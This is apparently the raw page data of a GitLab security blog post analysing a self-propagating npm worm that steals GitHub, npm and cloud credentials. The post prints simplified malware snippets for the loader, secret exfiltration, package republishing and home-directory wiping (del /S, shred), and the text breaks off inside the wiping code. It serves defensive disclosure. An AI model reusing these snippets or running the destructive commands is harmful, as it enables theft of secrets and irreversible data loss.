[{"data":1,"prerenderedAt":2776},["ShallowReactive",2],{"/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-en-us":1979,"banner-en-us":2406,"footer-en-us":2416,"blog-post-authors-en-us-Michael Henriksen|Daniel Abeles":2661,"blog-related-posts-en-us-gitlab-discovers-widespread-npm-supply-chain-attack":2688,"blog-promotions-en-us":2713,"next-steps-en-us":2766},{"id":4,"title":5,"authors":6,"body":9,"category":1961,"date":1962,"description":1963,"extension":1964,"externalUrl":1965,"faq":1965,"featured":206,"heroImage":1966,"meta":1967,"navigation":206,"path":1968,"seo":1969,"slug":1972,"stem":1973,"tags":1974,"template":1977,"updatedDate":1965,"__hash__":1978},"blogPosts/en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack.md","GitLab discovers widespread npm supply chain attack",[7,8],"Michael Henriksen","Daniel Abeles",{"type":10,"value":11,"toc":1948},"minimark",[12,23,31,36,41,44,62,65,69,76,81,93,255,265,269,272,310,439,443,446,653,656,911,915,918,942,1220,1224,1227,1234,1669,1672,1676,1679,1846,1850,1853,1881,1884,1901,1914,1917,1923,1926,1930,1933,1936,1944],[13,14,15,16,22],"p",{},"GitLab's Vulnerability Research team has identified an active, large-scale supply chain attack involving a destructive malware variant spreading through the npm ecosystem. Our internal monitoring system has uncovered multiple infected packages containing what appears to be an evolved version of the \"",[17,18,21],"a",{"href":19,"rel":20},"https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem",[],"Shai-Hulud","\" malware.",[13,24,25,26,30],{},"Early analysis shows worm-like propagation behavior that automatically infects additional packages maintained by impacted developers. Most critically, we've discovered the malware contains a \"",[27,28,29],"strong",{},"dead man's switch","\" mechanism that threatens to destroy user data if its propagation and exfiltration channels are severed.",[13,32,33],{},[27,34,35],{},"We verified that GitLab was not using any of the malicious packages and are sharing our findings to help the broader security community respond effectively.",[37,38,40],"h2",{"id":39},"inside-the-attack","Inside the attack",[13,42,43],{},"Our internal monitoring system, which scans open-source package registries for malicious packages, has identified multiple npm packages infected with sophisticated malware that:",[45,46,47,51,54,57],"ul",{},[48,49,50],"li",{},"Harvests credentials from GitHub, npm, AWS, GCP, and Azure",[48,52,53],{},"Exfiltrates stolen data to attacker-controlled GitHub repositories",[48,55,56],{},"Propagates by automatically infecting other packages owned by victims",[48,58,59],{},[27,60,61],{},"Contains a destructive payload that triggers if the malware loses access to its infrastructure",[13,63,64],{},"While we've confirmed several infected packages, the worm-like propagation mechanism means many more packages are likely compromised. The investigation is ongoing as we work to understand the full scope of this campaign.",[37,66,68],{"id":67},"technical-analysis-how-the-attack-unfolds","Technical analysis: How the attack unfolds",[13,70,71],{},[72,73],"img",{"alt":74,"src":75},"mermaid chart of how the attack unfolds","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png",[77,78,80],"h3",{"id":79},"initial-infection-vector","Initial infection vector",[13,82,83,84,88,89,92],{},"The malware infiltrates systems through a carefully crafted multi-stage loading process. Infected packages contain a modified ",[85,86,87],"code",{},"package.json"," with a preinstall script pointing to ",[85,90,91],{},"setup_bun.js",". This loader script appears innocuous, claiming to install the Bun JavaScript runtime, which is a legitimate tool. However, its true purpose is to establish the malware's execution environment.",[94,95,100],"pre",{"className":96,"code":97,"language":98,"meta":99,"style":99},"language-javascript shiki shiki-themes github-light","// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n","javascript","",[85,101,102,111,136,152,158,180,189,201,208,223,228,234,249],{"__ignoreMap":99},[103,104,107],"span",{"class":105,"line":106},"line",1,[103,108,110],{"class":109},"sAwPA","// This file gets added to victim's packages as setup_bun.js\n",[103,112,114,118,122,125,128,131,133],{"class":105,"line":113},2,[103,115,117],{"class":116},"sgsFI","#",[103,119,121],{"class":120},"sD7c4","!/",[103,123,124],{"class":116},"usr",[103,126,127],{"class":120},"/",[103,129,130],{"class":116},"bin",[103,132,127],{"class":120},[103,134,135],{"class":116},"env node\n",[103,137,139,142,145,149],{"class":105,"line":138},3,[103,140,141],{"class":120},"async",[103,143,144],{"class":120}," function",[103,146,148],{"class":147},"s7eDp"," downloadAndSetupBun",[103,150,151],{"class":116},"() {\n",[103,153,155],{"class":105,"line":154},4,[103,156,157],{"class":109},"  // Downloads and installs bun\n",[103,159,161,164,167,170,173,176],{"class":105,"line":160},5,[103,162,163],{"class":120},"  let",[103,165,166],{"class":116}," command ",[103,168,169],{"class":120},"=",[103,171,172],{"class":116}," process.platform ",[103,174,175],{"class":120},"===",[103,177,179],{"class":178},"sYBdl"," 'win32'\n",[103,181,183,186],{"class":105,"line":182},6,[103,184,185],{"class":120},"    ?",[103,187,188],{"class":178}," 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n",[103,190,192,195,198],{"class":105,"line":191},7,[103,193,194],{"class":120},"    :",[103,196,197],{"class":178}," 'curl -fsSL https://bun.sh/install | bash'",[103,199,200],{"class":116},";\n",[103,202,204],{"class":105,"line":203},8,[103,205,207],{"emptyLinePlaceholder":206},true,"\n",[103,209,211,214,217,220],{"class":105,"line":210},9,[103,212,213],{"class":147},"  execSync",[103,215,216],{"class":116},"(command, { stdio: ",[103,218,219],{"class":178},"'ignore'",[103,221,222],{"class":116}," });\n",[103,224,226],{"class":105,"line":225},10,[103,227,207],{"emptyLinePlaceholder":206},[103,229,231],{"class":105,"line":230},11,[103,232,233],{"class":109},"  // Runs the actual malware\n",[103,235,237,240,243,246],{"class":105,"line":236},12,[103,238,239],{"class":147},"  runExecutable",[103,241,242],{"class":116},"(bunPath, [",[103,244,245],{"class":178},"'bun_environment.js'",[103,247,248],{"class":116},"]);\n",[103,250,252],{"class":105,"line":251},13,[103,253,254],{"class":116},"}\n",[13,256,257,258,260,261,264],{},"The ",[85,259,91],{}," loader downloads or locates the Bun runtime on the system, then executes the bundled ",[85,262,263],{},"bun_environment.js"," payload, a 10MB obfuscated file already present in the infected package. This approach provides multiple layers of evasion: the initial loader is small and seemingly legitimate, while the actual malicious code is heavily obfuscated and bundled into a file too large for casual inspection.",[77,266,268],{"id":267},"credential-harvesting","Credential harvesting",[13,270,271],{},"Once executed, the malware immediately begins credential discovery across multiple sources:",[45,273,274,288,294,304],{},[48,275,276,279,280,283,284,287],{},[27,277,278],{},"GitHub tokens",": Searches environment variables and GitHub CLI configurations for tokens starting with ",[85,281,282],{},"ghp_"," (GitHub personal access token) or ",[85,285,286],{},"gho_","(GitHub OAuth token)",[48,289,290,293],{},[27,291,292],{},"Cloud credentials",": Enumerates AWS, GCP, and Azure credentials using official SDKs, checking environment variables, config files, and metadata services",[48,295,296,299,300,303],{},[27,297,298],{},"npm tokens",": Extracts tokens for package publishing from ",[85,301,302],{},".npmrc"," files and environment variables, which are common locations for securely storing sensitive configuration and credentials.",[48,305,306,309],{},[27,307,308],{},"Filesystem scanning",": Downloads and executes Trufflehog, a legitimate security tool, to scan the entire home directory for API keys, passwords, and other secrets hidden in configuration files, source code, or git history",[94,311,313],{"className":96,"code":312,"language":98,"meta":99,"style":99},"async function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n",[85,314,315,326,344,357,361,366,392,396,401,420,435],{"__ignoreMap":99},[103,316,317,319,321,324],{"class":105,"line":106},[103,318,141],{"class":120},[103,320,144],{"class":120},[103,322,323],{"class":147}," scanFilesystem",[103,325,151],{"class":116},[103,327,328,330,333,335,338,341],{"class":105,"line":113},[103,329,163],{"class":120},[103,331,332],{"class":116}," scanner ",[103,334,169],{"class":120},[103,336,337],{"class":120}," new",[103,339,340],{"class":147}," Trufflehog",[103,342,343],{"class":116},"();\n",[103,345,346,349,352,355],{"class":105,"line":138},[103,347,348],{"class":120},"  await",[103,350,351],{"class":116}," scanner.",[103,353,354],{"class":147},"initialize",[103,356,343],{"class":116},[103,358,359],{"class":105,"line":154},[103,360,207],{"emptyLinePlaceholder":206},[103,362,363],{"class":105,"line":160},[103,364,365],{"class":109},"  // Scan user's home directory for secrets\n",[103,367,368,370,373,375,378,380,383,386,389],{"class":105,"line":182},[103,369,163],{"class":120},[103,371,372],{"class":116}," findings ",[103,374,169],{"class":120},[103,376,377],{"class":120}," await",[103,379,351],{"class":116},[103,381,382],{"class":147},"scanFilesystem",[103,384,385],{"class":116},"(os.",[103,387,388],{"class":147},"homedir",[103,390,391],{"class":116},"());\n",[103,393,394],{"class":105,"line":191},[103,395,207],{"emptyLinePlaceholder":206},[103,397,398],{"class":105,"line":203},[103,399,400],{"class":109},"  // Upload findings to exfiltration repo\n",[103,402,403,405,408,411,414,417],{"class":105,"line":210},[103,404,348],{"class":120},[103,406,407],{"class":116}," github.",[103,409,410],{"class":147},"saveContents",[103,412,413],{"class":116},"(",[103,415,416],{"class":178},"\"truffleSecrets.json\"",[103,418,419],{"class":116},",\n",[103,421,422,426,429,432],{"class":105,"line":225},[103,423,425],{"class":424},"sYu0t","    JSON",[103,427,428],{"class":116},".",[103,430,431],{"class":147},"stringify",[103,433,434],{"class":116},"(findings));\n",[103,436,437],{"class":105,"line":230},[103,438,254],{"class":116},[77,440,442],{"id":441},"data-exfiltration-network","Data exfiltration network",[13,444,445],{},"The malware uses stolen GitHub tokens to create public repositories with a specific marker in their description: \"Sha1-Hulud: The Second Coming.\" These repositories serve as dropboxes for stolen credentials and system information.",[94,447,449],{"className":96,"code":448,"language":98,"meta":99,"style":99},"async function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n",[85,450,451,469,474,497,502,516,526,535,543,548,552,557,578,601,607,613,628,634,639,648],{"__ignoreMap":99},[103,452,453,455,457,460,462,466],{"class":105,"line":106},[103,454,141],{"class":120},[103,456,144],{"class":120},[103,458,459],{"class":147}," createRepo",[103,461,413],{"class":116},[103,463,465],{"class":464},"sqxcx","name",[103,467,468],{"class":116},") {\n",[103,470,471],{"class":105,"line":113},[103,472,473],{"class":109},"  // Creates a repository with a specific description marker\n",[103,475,476,478,481,483,485,488,491,494],{"class":105,"line":138},[103,477,163],{"class":120},[103,479,480],{"class":116}," repo ",[103,482,169],{"class":120},[103,484,377],{"class":120},[103,486,487],{"class":424}," this",[103,489,490],{"class":116},".octokit.repos.",[103,492,493],{"class":147},"createForAuthenticatedUser",[103,495,496],{"class":116},"({\n",[103,498,499],{"class":105,"line":154},[103,500,501],{"class":116},"    name: name,\n",[103,503,504,507,510,513],{"class":105,"line":160},[103,505,506],{"class":116},"    description: ",[103,508,509],{"class":178},"\"Sha1-Hulud: The Second Coming.\"",[103,511,512],{"class":116},", ",[103,514,515],{"class":109},"// Marker for finding repos later\n",[103,517,518,521,524],{"class":105,"line":182},[103,519,520],{"class":116},"    private: ",[103,522,523],{"class":424},"false",[103,525,419],{"class":116},[103,527,528,531,533],{"class":105,"line":191},[103,529,530],{"class":116},"    auto_init: ",[103,532,523],{"class":424},[103,534,419],{"class":116},[103,536,537,540],{"class":105,"line":203},[103,538,539],{"class":116},"    has_discussions: ",[103,541,542],{"class":424},"true\n",[103,544,545],{"class":105,"line":210},[103,546,547],{"class":116},"  });\n",[103,549,550],{"class":105,"line":225},[103,551,207],{"emptyLinePlaceholder":206},[103,553,554],{"class":105,"line":230},[103,555,556],{"class":109},"  // Install GitHub Actions runner for persistence\n",[103,558,559,562,565,568,570,572,575],{"class":105,"line":236},[103,560,561],{"class":120},"  if",[103,563,564],{"class":116}," (",[103,566,567],{"class":120},"await",[103,569,487],{"class":424},[103,571,428],{"class":116},[103,573,574],{"class":147},"checkWorkflowScope",[103,576,577],{"class":116},"()) {\n",[103,579,580,583,586,588,590,592,595,598],{"class":105,"line":251},[103,581,582],{"class":120},"    let",[103,584,585],{"class":116}," token ",[103,587,169],{"class":120},[103,589,377],{"class":120},[103,591,487],{"class":424},[103,593,594],{"class":116},".octokit.",[103,596,597],{"class":147},"request",[103,599,600],{"class":116},"(\n",[103,602,604],{"class":105,"line":603},14,[103,605,606],{"class":178},"      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n",[103,608,610],{"class":105,"line":609},15,[103,611,612],{"class":116},"    );\n",[103,614,616,619,622,625],{"class":105,"line":615},16,[103,617,618],{"class":120},"    await",[103,620,621],{"class":147}," installRunner",[103,623,624],{"class":116},"(token); ",[103,626,627],{"class":109},"// Installs self-hosted runner\n",[103,629,631],{"class":105,"line":630},17,[103,632,633],{"class":116},"  }\n",[103,635,637],{"class":105,"line":636},18,[103,638,207],{"emptyLinePlaceholder":206},[103,640,642,645],{"class":105,"line":641},19,[103,643,644],{"class":120},"  return",[103,646,647],{"class":116}," repo;\n",[103,649,651],{"class":105,"line":650},20,[103,652,254],{"class":116},[13,654,655],{},"Critically, if the initial GitHub token lacks sufficient permissions, the malware searches for other compromised repositories with the same marker, allowing it to retrieve tokens from other infected systems. This creates a resilient botnet-like network where compromised systems share access tokens.",[94,657,659],{"className":96,"code":658,"language":98,"meta":99,"style":99},"// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n",[85,660,661,666,676,681,702,712,720,724,728,733,751,767,792,796,800,837,848,852,871,882,887,892,906],{"__ignoreMap":99},[103,662,663],{"class":105,"line":106},[103,664,665],{"class":109},"// How the malware network shares tokens:\n",[103,667,668,671,674],{"class":105,"line":113},[103,669,670],{"class":116},"async ",[103,672,673],{"class":147},"fetchToken",[103,675,151],{"class":116},[103,677,678],{"class":105,"line":138},[103,679,680],{"class":109},"  // Search GitHub for repos with the identifying marker\n",[103,682,683,685,688,690,692,694,697,700],{"class":105,"line":154},[103,684,163],{"class":120},[103,686,687],{"class":116}," results ",[103,689,169],{"class":120},[103,691,377],{"class":120},[103,693,487],{"class":424},[103,695,696],{"class":116},".octokit.search.",[103,698,699],{"class":147},"repos",[103,701,496],{"class":116},[103,703,704,707,710],{"class":105,"line":160},[103,705,706],{"class":116},"    q: ",[103,708,709],{"class":178},"'\"Sha1-Hulud: The Second Coming.\"'",[103,711,419],{"class":116},[103,713,714,717],{"class":105,"line":182},[103,715,716],{"class":116},"    sort: ",[103,718,719],{"class":178},"\"updated\"\n",[103,721,722],{"class":105,"line":191},[103,723,547],{"class":116},[103,725,726],{"class":105,"line":203},[103,727,207],{"emptyLinePlaceholder":206},[103,729,730],{"class":105,"line":210},[103,731,732],{"class":109},"  // Try to retrieve tokens from compromised repos\n",[103,734,735,738,740,743,745,748],{"class":105,"line":225},[103,736,737],{"class":120},"  for",[103,739,564],{"class":116},[103,741,742],{"class":120},"let",[103,744,480],{"class":116},[103,746,747],{"class":120},"of",[103,749,750],{"class":116}," results) {\n",[103,752,753,755,758,760,762,765],{"class":105,"line":230},[103,754,582],{"class":120},[103,756,757],{"class":116}," contents ",[103,759,169],{"class":120},[103,761,377],{"class":120},[103,763,764],{"class":147}," fetch",[103,766,600],{"class":116},[103,768,769,772,775,777,780,783,785,787,789],{"class":105,"line":236},[103,770,771],{"class":178},"      `https://raw.githubusercontent.com/${",[103,773,774],{"class":116},"repo",[103,776,428],{"class":178},[103,778,779],{"class":116},"owner",[103,781,782],{"class":178},"}/${",[103,784,774],{"class":116},[103,786,428],{"class":178},[103,788,465],{"class":116},[103,790,791],{"class":178},"}/main/contents.json`\n",[103,793,794],{"class":105,"line":251},[103,795,612],{"class":116},[103,797,798],{"class":105,"line":603},[103,799,207],{"emptyLinePlaceholder":206},[103,801,802,804,807,809,812,814,817,820,823,826,829,832,835],{"class":105,"line":609},[103,803,582],{"class":120},[103,805,806],{"class":116}," data ",[103,808,169],{"class":120},[103,810,811],{"class":424}," JSON",[103,813,428],{"class":116},[103,815,816],{"class":147},"parse",[103,818,819],{"class":116},"(Buffer.",[103,821,822],{"class":147},"from",[103,824,825],{"class":116},"(contents, ",[103,827,828],{"class":178},"'base64'",[103,830,831],{"class":116},").",[103,833,834],{"class":147},"toString",[103,836,391],{"class":116},[103,838,839,841,843,845],{"class":105,"line":615},[103,840,582],{"class":120},[103,842,585],{"class":116},[103,844,169],{"class":120},[103,846,847],{"class":116}," data?.modules?.github?.token;\n",[103,849,850],{"class":105,"line":630},[103,851,207],{"emptyLinePlaceholder":206},[103,853,854,857,860,863,865,868],{"class":105,"line":636},[103,855,856],{"class":120},"    if",[103,858,859],{"class":116}," (token ",[103,861,862],{"class":120},"&&",[103,864,377],{"class":120},[103,866,867],{"class":147}," validateToken",[103,869,870],{"class":116},"(token)) {\n",[103,872,873,876,879],{"class":105,"line":641},[103,874,875],{"class":120},"      return",[103,877,878],{"class":116}," token;  ",[103,880,881],{"class":109},"// Use token from another infected system\n",[103,883,884],{"class":105,"line":650},[103,885,886],{"class":116},"    }\n",[103,888,890],{"class":105,"line":889},21,[103,891,633],{"class":116},[103,893,895,897,900,903],{"class":105,"line":894},22,[103,896,644],{"class":120},[103,898,899],{"class":424}," null",[103,901,902],{"class":116},";  ",[103,904,905],{"class":109},"// No valid tokens found in network\n",[103,907,909],{"class":105,"line":908},23,[103,910,254],{"class":116},[77,912,914],{"id":913},"supply-chain-propagation","Supply chain propagation",[13,916,917],{},"Using stolen npm tokens, the malware:",[919,920,921,924,930,936,939],"ol",{},[48,922,923],{},"Downloads all packages maintained by the victim",[48,925,926,927,929],{},"Injects the ",[85,928,91],{}," loader into each package's preinstall scripts",[48,931,932,933,935],{},"Bundles the malicious ",[85,934,263],{}," payload",[48,937,938],{},"Increments the package version number",[48,940,941],{},"Republishes the infected packages to npm",[94,943,945],{"className":96,"code":944,"language":98,"meta":99,"style":99},"async function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n",[85,946,947,963,968,984,988,993,1023,1027,1032,1044,1048,1053,1081,1118,1138,1142,1147,1166,1170,1175,1201,1212,1216],{"__ignoreMap":99},[103,948,949,951,953,956,958,961],{"class":105,"line":106},[103,950,141],{"class":120},[103,952,144],{"class":120},[103,954,955],{"class":147}," updatePackage",[103,957,413],{"class":116},[103,959,960],{"class":464},"packageInfo",[103,962,468],{"class":116},[103,964,965],{"class":105,"line":113},[103,966,967],{"class":109},"  // Download original package\n",[103,969,970,972,975,977,979,981],{"class":105,"line":138},[103,971,163],{"class":120},[103,973,974],{"class":116}," tarball ",[103,976,169],{"class":120},[103,978,377],{"class":120},[103,980,764],{"class":147},[103,982,983],{"class":116},"(packageInfo.tarballUrl);\n",[103,985,986],{"class":105,"line":154},[103,987,207],{"emptyLinePlaceholder":206},[103,989,990],{"class":105,"line":160},[103,991,992],{"class":109},"  // Extract and modify package.json\n",[103,994,995,997,1000,1002,1004,1006,1008,1010,1012,1015,1017,1020],{"class":105,"line":182},[103,996,163],{"class":120},[103,998,999],{"class":116}," packageJson ",[103,1001,169],{"class":120},[103,1003,811],{"class":424},[103,1005,428],{"class":116},[103,1007,816],{"class":147},[103,1009,413],{"class":116},[103,1011,567],{"class":120},[103,1013,1014],{"class":147}," readFile",[103,1016,413],{"class":116},[103,1018,1019],{"class":178},"\"package.json\"",[103,1021,1022],{"class":116},"));\n",[103,1024,1025],{"class":105,"line":191},[103,1026,207],{"emptyLinePlaceholder":206},[103,1028,1029],{"class":105,"line":203},[103,1030,1031],{"class":109},"  // Add malicious preinstall script\n",[103,1033,1034,1037,1039,1042],{"class":105,"line":210},[103,1035,1036],{"class":116},"  packageJson.scripts.preinstall ",[103,1038,169],{"class":120},[103,1040,1041],{"class":178}," \"node setup_bun.js\"",[103,1043,200],{"class":116},[103,1045,1046],{"class":105,"line":225},[103,1047,207],{"emptyLinePlaceholder":206},[103,1049,1050],{"class":105,"line":230},[103,1051,1052],{"class":109},"  // Increment version\n",[103,1054,1055,1057,1060,1062,1065,1068,1070,1073,1075,1078],{"class":105,"line":236},[103,1056,163],{"class":120},[103,1058,1059],{"class":116}," version ",[103,1061,169],{"class":120},[103,1063,1064],{"class":116}," packageJson.version.",[103,1066,1067],{"class":147},"split",[103,1069,413],{"class":116},[103,1071,1072],{"class":178},"\".\"",[103,1074,831],{"class":116},[103,1076,1077],{"class":147},"map",[103,1079,1080],{"class":116},"(Number);\n",[103,1082,1083,1086,1089,1092,1094,1097,1099,1101,1104,1107,1110,1113,1116],{"class":105,"line":251},[103,1084,1085],{"class":116},"  version[",[103,1087,1088],{"class":424},"2",[103,1090,1091],{"class":116},"] ",[103,1093,169],{"class":120},[103,1095,1096],{"class":116}," (version[",[103,1098,1088],{"class":424},[103,1100,1091],{"class":116},[103,1102,1103],{"class":120},"||",[103,1105,1106],{"class":424}," 0",[103,1108,1109],{"class":116},") ",[103,1111,1112],{"class":120},"+",[103,1114,1115],{"class":424}," 1",[103,1117,200],{"class":116},[103,1119,1120,1123,1125,1128,1131,1133,1135],{"class":105,"line":603},[103,1121,1122],{"class":116},"  packageJson.version ",[103,1124,169],{"class":120},[103,1126,1127],{"class":116}," version.",[103,1129,1130],{"class":147},"join",[103,1132,413],{"class":116},[103,1134,1072],{"class":178},[103,1136,1137],{"class":116},");\n",[103,1139,1140],{"class":105,"line":609},[103,1141,207],{"emptyLinePlaceholder":206},[103,1143,1144],{"class":105,"line":615},[103,1145,1146],{"class":109},"  // Bundle backdoor installer\n",[103,1148,1149,1151,1154,1156,1159,1161,1164],{"class":105,"line":630},[103,1150,348],{"class":120},[103,1152,1153],{"class":147}," writeFile",[103,1155,413],{"class":116},[103,1157,1158],{"class":178},"\"setup_bun.js\"",[103,1160,512],{"class":116},[103,1162,1163],{"class":424},"BACKDOOR_CODE",[103,1165,1137],{"class":116},[103,1167,1168],{"class":105,"line":636},[103,1169,207],{"emptyLinePlaceholder":206},[103,1171,1172],{"class":105,"line":641},[103,1173,1174],{"class":109},"  // Repackage and publish\n",[103,1176,1177,1179,1182,1185,1188,1191,1194,1196,1199],{"class":105,"line":650},[103,1178,348],{"class":120},[103,1180,1181],{"class":116}," Bun.",[103,1183,1184],{"class":147},"$",[103,1186,1187],{"class":178},"`npm publish ${",[103,1189,1190],{"class":116},"modifiedPackage",[103,1192,1193],{"class":178},"}`",[103,1195,428],{"class":116},[103,1197,1198],{"class":147},"env",[103,1200,496],{"class":116},[103,1202,1203,1206,1209],{"class":105,"line":889},[103,1204,1205],{"class":116},"    NPM_CONFIG_TOKEN: ",[103,1207,1208],{"class":424},"this",[103,1210,1211],{"class":116},".token\n",[103,1213,1214],{"class":105,"line":894},[103,1215,547],{"class":116},[103,1217,1218],{"class":105,"line":908},[103,1219,254],{"class":116},[37,1221,1223],{"id":1222},"the-dead-mans-switch","The dead man's switch",[13,1225,1226],{},"Our analysis uncovered a destructive payload designed to protect the malware’s infrastructure against takedown attempts.",[13,1228,1229,1230,1233],{},"The malware continuously monitors its access to GitHub (for exfiltration) and npm (for propagation). If an infected system loses access to both channels simultaneously, it triggers immediate data destruction on the compromised machine. On Windows, it attempts to delete all user files and overwrite disk sectors. On Unix systems, it uses ",[85,1231,1232],{},"shred"," to overwrite files before deletion, making recovery nearly impossible.",[94,1235,1237],{"className":96,"code":1236,"language":98,"meta":99,"style":99},"// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n",[85,1238,1239,1244,1255,1271,1296,1300,1305,1335,1357,1361,1375,1383,1388,1399,1410,1415,1430,1445,1450,1471,1490,1516,1524,1529,1539,1545,1564,1592,1604,1621,1626,1632,1648,1654,1659,1664],{"__ignoreMap":99},[103,1240,1241],{"class":105,"line":106},[103,1242,1243],{"class":109},"// CRITICAL: Token validation failure triggers destruction\n",[103,1245,1246,1248,1250,1253],{"class":105,"line":113},[103,1247,141],{"class":120},[103,1249,144],{"class":120},[103,1251,1252],{"class":147}," aL0",[103,1254,151],{"class":116},[103,1256,1257,1259,1262,1264,1266,1269],{"class":105,"line":138},[103,1258,163],{"class":120},[103,1260,1261],{"class":116}," githubApi ",[103,1263,169],{"class":120},[103,1265,337],{"class":120},[103,1267,1268],{"class":147}," dq",[103,1270,343],{"class":116},[103,1272,1273,1275,1278,1280,1283,1286,1289,1291,1294],{"class":105,"line":154},[103,1274,163],{"class":120},[103,1276,1277],{"class":116}," npmToken ",[103,1279,169],{"class":120},[103,1281,1282],{"class":116}," process.env.",[103,1284,1285],{"class":424},"NPM_TOKEN",[103,1287,1288],{"class":120}," ||",[103,1290,377],{"class":120},[103,1292,1293],{"class":147}," findNpmToken",[103,1295,343],{"class":116},[103,1297,1298],{"class":105,"line":160},[103,1299,207],{"emptyLinePlaceholder":206},[103,1301,1302],{"class":105,"line":182},[103,1303,1304],{"class":109},"  // Try to find or create GitHub access\n",[103,1306,1307,1309,1311,1314,1317,1320,1323,1325,1328,1330,1333],{"class":105,"line":191},[103,1308,561],{"class":120},[103,1310,564],{"class":116},[103,1312,1313],{"class":120},"!",[103,1315,1316],{"class":116},"githubApi.",[103,1318,1319],{"class":147},"isAuthenticated",[103,1321,1322],{"class":116},"() ",[103,1324,1103],{"class":120},[103,1326,1327],{"class":120}," !",[103,1329,1316],{"class":116},[103,1331,1332],{"class":147},"repoExists",[103,1334,577],{"class":116},[103,1336,1337,1339,1342,1344,1346,1349,1351,1354],{"class":105,"line":203},[103,1338,582],{"class":120},[103,1340,1341],{"class":116}," fetchedToken ",[103,1343,169],{"class":120},[103,1345,377],{"class":120},[103,1347,1348],{"class":116}," githubApi.",[103,1350,673],{"class":147},[103,1352,1353],{"class":116},"(); ",[103,1355,1356],{"class":109},"// Search for tokens in compromised repos\n",[103,1358,1359],{"class":105,"line":210},[103,1360,207],{"emptyLinePlaceholder":206},[103,1362,1363,1365,1367,1369,1372],{"class":105,"line":225},[103,1364,856],{"class":120},[103,1366,564],{"class":116},[103,1368,1313],{"class":120},[103,1370,1371],{"class":116},"fetchedToken) {  ",[103,1373,1374],{"class":109},"// No GitHub access possible\n",[103,1376,1377,1380],{"class":105,"line":230},[103,1378,1379],{"class":120},"      if",[103,1381,1382],{"class":116}," (npmToken) {\n",[103,1384,1385],{"class":105,"line":236},[103,1386,1387],{"class":109},"        // Fallback to NPM propagation only\n",[103,1389,1390,1393,1396],{"class":105,"line":251},[103,1391,1392],{"class":120},"        await",[103,1394,1395],{"class":147}," El",[103,1397,1398],{"class":116},"(npmToken);\n",[103,1400,1401,1404,1407],{"class":105,"line":603},[103,1402,1403],{"class":116},"      } ",[103,1405,1406],{"class":120},"else",[103,1408,1409],{"class":116}," {\n",[103,1411,1412],{"class":105,"line":609},[103,1413,1414],{"class":109},"        // DESTRUCTION TRIGGER: No GitHub AND no NPM 